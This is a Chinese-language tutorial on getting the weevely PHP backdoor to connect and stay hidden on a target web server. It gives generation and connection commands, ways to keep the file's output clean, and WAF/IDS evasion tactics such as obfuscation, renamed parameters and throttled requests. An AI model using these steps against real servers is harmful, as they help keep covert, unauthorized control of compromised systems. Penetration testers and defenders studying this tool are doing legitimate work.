weevely后门连不上主因是目标PHP禁用eval等函数或存在BOM/错误输出干扰响应;应检查disable_functions、使用--no-eval或--obfus参数生成,并确保后门文件纯净无杂内容。

weevely 生成的 PHP 后门为什么连不上?
默认生成的 weevely 后门(如 weevely generate pass123 backdoor.php)在 Kali 上生成后,上传到目标服务器却无法连接,最常见原因是目标 PHP 环境禁用了关键函数。weevely 默认依赖 eval()、base64_decode()、gzuncompress() 和 call_user_func() 等函数,而很多生产环境会通过 disable_functions 屏蔽它们。
实操建议:
立即学习“PHP免费学习笔记(深入)”;
- 先用
curl http://target/backdoor.php?cmd=phpinfo()看是否能触发基础响应,确认文件可执行 - 检查目标
phpinfo()页面中disable_functions配置项,重点看是否禁了eval或system - 若被禁,改用
--no-eval模式生成:weevely generate --no-eval pass123 backdoor.php,它会绕过eval,但功能受限(不支持交互式 shell,仅命令执行) - 注意:Kali 自带的
weevely版本较旧(3.x),对 PHP 8+ 兼容性差;推荐从 GitHub 拉新版:git clone https://github.com/epinna/weevely3.git,再用python3 weevely.py
用 weevely 连接时提示 “Connection refused” 或 “Invalid response”
不是网络不通,而是后门未正确解析或返回了非预期内容——比如目标页面开头/结尾有 BOM、HTML 注释、调试输出,导致 weevely 解析 JSON 响应失败。
实操建议:
立即学习“PHP免费学习笔记(深入)”;
- 确保后门文件是纯 PHP,无任何前置空格、UTF-8 BOM 或 HTML 内容;可用
xxd backdoor.php | head查看开头是否为00000000: efbb bf(BOM) - 上传后手动访问
http://target/backdoor.php?cmd=id,观察原始响应体——必须是干净的 base64 编码字符串,不能混杂Warning:或Notice: - 若目标开了
display_errors=On,错误会直接输出打断响应;可在后门顶部加@ini_set('display_errors',0);抑制(需生成前手动编辑或用--obfus参数) - 避免用浏览器直接打开后门 URL 测试,优先用
curl -s "http://target/backdoor.php?cmd=id"验证原始输出
如何让 weevely 后门更难被 WAF/IDS 检测?
默认 weevely 的流量特征明显:固定参数名(cmd)、高频 base64 编码、固定响应结构,容易被 ModSecurity、云 WAF 或简单关键字规则拦截。
实操建议:
立即学习“PHP免费学习笔记(深入)”;
- 用
--obfus启用混淆:weevely generate --obfus pass123 backdoor.php,变量名和函数调用会被随机化 - 修改通信参数名:编辑生成的
backdoor.php,把所有$_GET['cmd']替换为自定义键(如$_GET['a']),同时在连接时加-p a:weevely http://target/backdoor.php pass123 -p a - 避免高频请求;
weevely默认每秒发包,WAF 可能限速;连接后用:set delay 3000设为 3 秒间隔 - 不要在后门里硬编码敏感操作(如
rm -rf /),WAF 规则常扫描此类字符串;所有危险命令尽量在交互 shell 中动态输入
测试 PHP 防御时,weevely 能代替真实漏洞利用吗?
不能。weevely 是后门管理工具,不是漏洞利用框架。它假设你已通过其他方式(如文件上传、模板注入、反序列化)把后门写入了 Web 目录——它不负责“打洞”,只负责“驻留和控制”。
这意味着:
- 如果你的目标没开放上传点、没存在任意文件写入、也没 RCE 漏洞,weevely 生成的文件根本传不上去,自然谈不上测试防御
- 想测 WAF 对 PHP 代码执行类攻击的拦截能力,应该用
php -r 'system("id");'这类原始 payload,而不是依赖 weevely 封装后的加密通信 - 日志分析时,weevely 的请求看起来像正常 HTTP GET,但真实攻击者可能用 POST、分块编码、多级 base64 嵌套,这些行为 weevely 不模拟
- 真正要验证防御效果,得配合
modsecurity-crs规则集 + 实际日志审计,而不是只看 weevely 是否连得上
最易被忽略的一点:weevely 的 session key(密码)明文参与每次请求计算,如果网络中间有代理或 HTTPS 卸载设备记录了流量,密钥可能泄露——别在真实环境中用弱口令(如 123)测试。











